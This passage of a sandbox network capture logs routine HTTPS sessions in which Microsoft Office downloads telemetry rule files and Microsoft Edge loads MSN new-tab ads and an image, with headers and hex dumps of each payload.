ANONCHK=0; domain=c.msn.com; expires=Sat, 23-Nov-2024 04:12:58 GMT; path=/; SameSite=None; Secure; Date: Sat, 23 Nov 2024 04:02:57 GMT Connection: close Content-Length: 42
2024-11-23 04:02:58 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:58 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:58 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040258Z-178bfbc474btvfdfhC1NYCa2en00000003y000000000gy6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:58 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:58 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:58 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:58 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040258Z-174c587ffdftv9hphC1TEBm29w000000028g00000000k86h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:58 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:58 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:58 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9d90d28-901e-00a0-5d63-3b6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040258Z-178bfbc474btvfdfhC1NYCa2en00000003zg00000000c3tc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:58 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:58 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:58 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 45336a67-c01e-0014-2f6a-3ca6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040258Z-174c587ffdfldtt2hC1TEBwv9c000000025g00000000hamp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:58 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:58 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:58 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 80a20124-101e-0046-4f43-3c91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040258Z-15b8b599d882zv28hC1TEBdchn000000027g00000000ebqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:58 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49927	20.96.153.111	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:59 UTC	1009	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=21DC5826412B689A12D14D66402C691D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6e8072a29e0a43ca95d99022b0aab14d HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1; _C_ETH=1
2024-11-23 04:02:59 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2742 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132630-T700344098-C128000000002113869+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113869+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 04:02:59 GMT Connection: close
2024-11-23 04:02:59 UTC	2742	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 56 69 63 74 6f 72 69 61 2c 20 41 75 73 74 72 61 6c 69 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 61 74 2b 4f 63 65 61 6e Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Victoria, Australia\",\"cta\":\"https:\/\/www.bing.com\/search?q=Great+Ocean

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49933	104.117.182.59	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:00 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:03:01 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 08 Nov 2024 13:42:23 GMT X-Datacenter: westus X-ActivityId: 54514d10-e954-4c08-a458-7867f3149dc5 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0Z X-Source-Length: 132415 Content-Length: 132415 Cache-Control: public, max-age=337070 Expires: Wed, 27 Nov 2024 01:40:50 GMT Date: Sat, 23 Nov 2024 04:03:00 GMT Connection: close
2024-11-23 04:03:01 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: f2 f8 87 0a af d5 5e 42 ab 9e 5e 85 a9 ea 08 31 37 1a bb d2 b5 11 2e 8d c4 52 ad 95 05 57 2b 7e 0b 50 3b d3 20 d4 c2 c5 58 73 63 aa 46 4c 73 b9 a3 76 1f 5e ab 41 5e 35 12 ea 0d ab 75 62 3c 6a 05 57 85 2f ea 6d 3d c1 1b 55 0d 9d cd 56 57 a5 2e c6 38 55 c9 11 6d 54 ce c4 ef 5b eb b0 aa 5a 95 26 8f 24 46 ce 1c cd 50 f5 4d 0e 92 2a d8 35 7c 62 36 b0 e4 6a cf 54 55 1a 4d 47 41 a7 a8 9d d5 de b7 2a af d6 6a 97 a7 5b e9 d6 e8 fb 54 72 9a 58 b1 a6 4a 55 25 6a e6 91 76 a8 12 6a d9 8e 15 1d 35 65 34 ab 2c 2a bd 46 af d3 54 1a 64 96 a9 ac 9a 8c 56 de 9b 24 0d 5c 2a bb d5 83 55 4a a2 fa ac 93 c2 b6 0d 5b 06 a1 64 c8 35 9e 99 34 f6 81 4d 2a 0a 7c 9b 88 4f a5 57 04 a2 da 05 42 14 54 73 da b8 c2 61 16 a7 ec 15 79 d3 ce a9 3a 69 79 53 35 af 2a 59 98 9a 99 93 c2 a9 20 d1 Data Ascii: ^B^17.RW+~P; XscFLsv^A^5ub<jW/m=UVW.8UmT[Z&$FPM5\|b6jTUMGAj[TrXJU%jvj5e4,FTdV$\UJ[d54M\|OWBTsay:iyS5Y
2024-11-23 04:03:01 UTC	2440	IN	Data Raw: 55 ca 97 18 0e dd ab 1e 55 0f c2 30 e5 7d a8 e9 56 b0 99 32 60 8a ac fb 4f 09 db 8f d2 97 2a 7c 60 37 e1 0c c1 89 e5 5a 7b 46 1c 87 f5 ca ba 21 85 47 ba dc 26 a9 cd e9 2c 33 34 13 6e 7f 2a 5c a9 71 80 a3 b3 c9 3f f1 54 e5 ed 1c fb d4 c6 93 ff 00 34 73 0b e3 c8 a7 4b c8 9b ff 00 2a b3 30 4c 60 16 3a 47 05 e7 e1 f9 fc e9 f2 ad c6 04 63 c0 d9 f1 eb c7 f0 71 32 27 e9 bc 75 da b7 f0 a7 8e dc bf 99 ab b0 65 40 e5 51 a0 64 26 27 8f 38 e4 3e 54 55 57 4c 98 13 3b 74 a5 72 b1 a6 31 cd be 84 e7 03 88 06 de 3c 2a a1 80 bd c0 b7 03 c2 2b a7 7c 68 18 41 8d ad c0 8e 44 57 95 81 05 14 44 5f a0 aa e4 d7 07 35 f8 67 fb 26 a9 3d bb b7 02 2b ac 0d 0b cf 4f fc d4 43 de 0e cd c7 95 b6 a5 ce 97 09 ea e2 9b 03 02 40 14 ca 61 68 bf fc 57 63 81 71 b2 ef 24 6f e1 4b f7 19 31 df 42 Data Ascii: UU0}V2`O\|`7Z{F!G&,34n\q?T4sK0L`:Gcq2'ue@Qd&'8>TUWL;tr1<+\|hADWD_5g&=+OC@ahWcq$oK1B
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: 2a 2e 57 53 40 e0 b7 8e bc aa 9c 78 c2 61 d1 62 44 a9 9b 6c 4e f4 f7 b2 d6 8b 41 89 17 e1 d0 71 fc aa 61 c3 e3 16 22 45 45 5b d3 2c 0e c6 0c 74 da ac 46 c5 3a 44 45 f6 bd 6d 1e d4 a6 92 16 4f 19 16 e5 56 06 d4 58 11 00 6d 13 33 48 66 25 32 e2 c6 a6 03 31 73 e4 3f 7d 20 b9 cc e7 bc dd e3 a4 45 2d 16 dd 46 85 60 4c 5f 7a ae 54 ab 31 9d b6 e5 43 7b 7c 8e e3 41 37 e3 c2 6d c2 99 1a d7 3e 96 8b 02 57 f8 87 2f 3a 7a 3d a9 42 af 06 24 0b 4f 85 5a b8 c5 c9 32 06 de 3c 29 86 c7 a3 41 51 66 26 47 9f 1a 5c a1 46 7c 63 a1 1e 3c 2b 54 b4 00 5a db a8 fa d6 85 5c a4 88 fd d4 43 22 85 50 63 dc 47 eb 4a 89 0c 41 03 9f 53 49 54 98 d6 09 58 f8 45 8d 3f e9 ab 28 60 7c ff 00 ae b5 af 97 4f b9 80 13 e5 f9 d2 1e b2 a3 33 7f d3 62 27 f8 4f 1e b1 cc 78 8a da 61 04 24 cd ad fd 7f Data Ascii: *.WS@xabDlNAqa"EE[,tF:DEmOVXm3Hf%21s?} E-F`L_zT1C{\|A7m>W/:z=B$OZ2<)AQf&G\F\|c<+TZ\C"PcGJASITXE?(`\|O3b'Oxa$
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: 42 b1 b7 01 4b 4a 94 11 9f 2a ac 42 84 11 22 39 19 f6 dc 7b b8 4d eb 99 ff 00 20 be a9 95 98 01 75 a1 22 d6 be f0 3c eb b6 ee 71 e0 0c 7d a7 54 69 22 e4 7b 48 33 26 66 7c 0d 70 d9 f1 0b 9f 78 c8 2e cb 6b 89 99 b9 13 c6 47 0a 77 1b 34 9d ef 62 08 a5 d2 db d8 c4 83 06 36 de 8c 76 8a ba 17 23 c9 09 a8 c0 23 dc 49 81 ce de d3 40 b0 13 8c 06 0a c2 79 fe 46 0f 0e 15 7f 7b 94 a6 1c 64 29 5d 40 12 3a eb 73 36 3b 79 55 4d 26 f8 12 cf fe 44 34 fa 68 aa 9e 40 5b ad 4b d4 9c 64 b2 87 76 31 a4 7b 4a 29 1b b1 83 06 36 02 f0 68 5e 11 8f 4a 33 46 bc 9f 68 d9 64 48 24 1b df ee 2c 75 da 89 60 c0 0b 92 cc 34 07 2e 58 9f e1 f9 93 14 f2 cb 7d 34 82 7d c7 6d e8 ae 3c 88 9d b8 64 6d 41 21 a6 37 86 76 04 18 e5 04 57 39 88 a6 6c 99 75 e0 51 ae 09 ba 9d 10 49 f6 83 11 bc 47 95 74 Data Ascii: BKJ*B"9{M u"<q}Ti"{H3&f\|px.kGw4b6v##I@yF{d)]@:s6;yUM&D4h@[Kdv1{J)6h^J3FhdH$,u`4.X}4}m<dmA!7vW9luQIGt
2024-11-23 04:03:01 UTC	7952	IN	Data Raw: 64 68 3b 00 bb 73 dc 7e 54 8e 3c da 89 0c 35 ba 83 ab 93 2f d9 3c c8 fb a6 ab 2e c6 34 37 b3 27 dd 85 80 00 be a5 82 25 78 d4 af 63 5e b3 ea 1a f2 ae 31 bd 80 6d 42 24 a8 0b b1 8e b4 c1 ee 55 b4 b2 b3 44 75 2c 7a 88 81 42 1b 2e 22 c8 34 08 4f 82 05 a4 8d 8c c4 9e 36 e3 4a e2 38 e0 b0 52 46 d2 a6 0a ab 1f 7c 29 92 02 9b f1 aa ad 2d 1e 2e b9 13 49 c8 4e ae 04 79 88 3e ee 94 0b f0 f6 d6 32 71 86 f7 b4 0e 56 bd 13 c6 9a 95 d9 8f c0 04 7d a9 43 78 3b 5e 35 0d ea c6 ed b1 37 a8 15 8a 16 21 ac 62 2f c0 81 6b f9 ef 4b 67 66 c2 1f b6 fb ac cc 24 98 fb b6 17 92 00 53 17 aa 7d 02 40 0a fc 8d c8 63 7d 8d c1 b7 2a 22 35 a0 8c 8b 74 d0 75 7d e8 36 24 f0 3c 26 38 1a 51 90 62 7d ed a6 17 8c 75 1c 63 98 b8 f2 ab da 35 0a 28 66 46 05 8b c1 20 a3 28 99 aa 10 a6 37 d0 15 25 Data Ascii: dh;s~T<5/<.47'%xc^1mB$UDu,zB."4O6J8RF\|)-.INy>2qV}Cx;^57!b/kKgf$S}@c}*"5tu}6$<&8Qb}uc5(fF (7%
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: 71 22 b8 eb 61 23 da 06 9f 81 f9 f9 fe b4 fa 77 59 15 81 c8 41 13 71 04 32 f9 19 36 f9 55 ee 6f d0 b6 e9 50 93 8a 0e d1 36 bc 11 cb 63 70 05 ab 9a ee b1 13 93 d4 59 30 2f a4 cc 8d ec 3e 76 f3 a7 67 13 20 18 49 89 d5 1b ec 41 31 70 77 eb e1 57 ac 64 56 56 82 34 df 7b 10 4e e0 df 7b 8e 57 a0 65 3b 1a 77 15 76 dd c7 ac 91 c6 3e b1 b8 3e 16 a9 63 4d 4c e6 20 30 50 77 dd 5a 41 f2 d8 8e 37 ae 6b 22 b7 6d 92 cd 73 72 38 fe d4 6d e7 04 82 2b aa c5 94 15 43 6d ee 07 2d be 56 a9 29 7e 0f 3e 32 75 b1 ba 81 a8 79 83 ee 12 45 cd 71 d9 f5 02 fc 47 c3 6d ef 04 78 57 43 93 36 bc b1 a8 ed 03 96 92 0e df 99 a1 99 55 95 81 d3 3e d9 3a 62 6d fc 36 eb b4 53 85 97 80 84 08 f9 08 32 b6 89 de 7a c7 02 2b 47 a9 85 9a 7d c0 83 71 b1 f1 e1 35 28 61 91 98 5e 45 d7 88 ff 00 69 bd 66 Data Ascii: q"a#wYAq26UoP6cpY0/>vg IA1pwWdVV4{N{We;wv>>cML 0PwZA7k"msr8m+Cm-V)~>2uyEqGmxWC6U>:bm6S2z+G}q5(a^Eif
